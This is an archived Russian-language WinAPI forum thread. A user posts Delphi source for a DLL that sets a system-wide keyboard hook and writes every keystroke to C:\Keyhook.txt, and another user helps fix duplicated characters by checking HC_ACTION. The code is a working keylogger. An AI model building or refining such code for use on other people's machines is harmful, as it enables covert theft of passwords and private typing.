Форум: "WinAPI";
Текущий архив: 2011.12.18;
Скачать: [xml.tar.bz2];
ВнизДублируются перехваченные с клавиатуры символы Найти похожие ветки
← →
Edward (2009-09-17 12:01) [0]Библиотека перехвата нажатия клавиш клавиатуры и печать их файл. Вопрос почему набераемые символы записываются в текстовый файл по несколько раз. Что не так сделал?
library SpyHook;
uses
Messages,
Windows,
SysUtils
var
HookHandle:hHook;
ft:textfile;
function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall;
var
KeyState1: TKeyBoardState;
AryChar: array[0..1] of Char;
// Count: Integer;
begin
// Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
if code < 0 then begin Result:=CallNextHookEx(HookHandle, code, wParam, lParam); Exit; end
else
// if byte(LParam shr 24)<$80 then
if lParam and $40000000 = 0 then
begin
try
append(ft); //(пробуем открыть файл для добавления)
GetKeyboardState(KeyState1);
ToAscii(wParam, lParam, KeyState1, AryChar, 0);
case wParam of 27: write(ft," <ESC>");
18: write(ft," <ALT>");
17: write(ft," <CTRL>");
16: write(ft," <SHIFT>");
20: write(ft," <Caps Lock>");
8: write(ft," <BackSpace>");
46: write(ft, "<DEL>");
45: write(ft, "<INS>");
36: write(ft, "<HOME>");
35: write(ft, "<END>");
38: write(ft, "<UP>");
40: write(ft, "<DOWN>");
37: write(ft, "<LEFT>");
39: write(ft, "<RIGHT>");
112: write(ft, "<F1>");
113: write(ft, "<F2>");
114: write(ft, "<F3>");
115: write(ft, "<F4>");
116: write(ft, "<F5>");
117: write(ft, "<F6>");
118: write(ft, "<F7>");
119: write(ft, "<F8>");
120: write(ft, "<F9>");
121: write(ft, "<F10>");
122: write(ft, "<F11>");
123: write(ft, "<F12>");
91: write(ft, "<Winwows>");
13: writeln(ft, "");
else
write(ft,AryChar[0]);
end;
closefile(ft);
except
Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
exit; {если не получается - выход}
end;
end;
Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
end;
procedure SetHook; stdcall; {установка ловушки}
begin
HookHandle := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc, hInstance, 0);
end;
procedure DelHook; stdcall; {удаление ловушки}
begin
UnhookWindowsHookEx(HookHandle);
end;
exports
SetHook, DelHook, SetHook2;
begin
assignFile (ft, "C:\Keyhook.txt");
end.
← →
Сергей М. © (2009-09-17 12:11) [1]Ты осознаешь, что после установки хука в системе одновременно существуют множество экземпляров этой DLL ?
И каждая из них вправе пытаться писать в файл, если система сочтет нужным вызвать ф-цию KeyboardProc..
← →
Edward (2009-09-17 12:36) [2]Если честно, то не очень понял - каким образом в системе существует множество экземпляров. Но методом научного тыка угадал, что в нужно написать так:
if (lParam and $40000000 = 0) and (Code = HC_ACTION) then
вместо просто
(lParam and $40000000 = 0) и это заработало.
Если не сложно скинь ссылку или коротенько о "одновременно существуют множество экземпляров этой DLL".
← →
Сергей М. © (2009-09-17 13:03) [3]
> Code = HC_ACTION
Да, это условие, разумеется, обязательно должно быть проверено.
http://wasm.ru/article.php?article=1001024
← →
Edward (2009-09-17 13:06) [4]Спасибо!
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2011.12.18;
Скачать: [xml.tar.bz2];
Память: 0.46 MB
Время: 0.003 c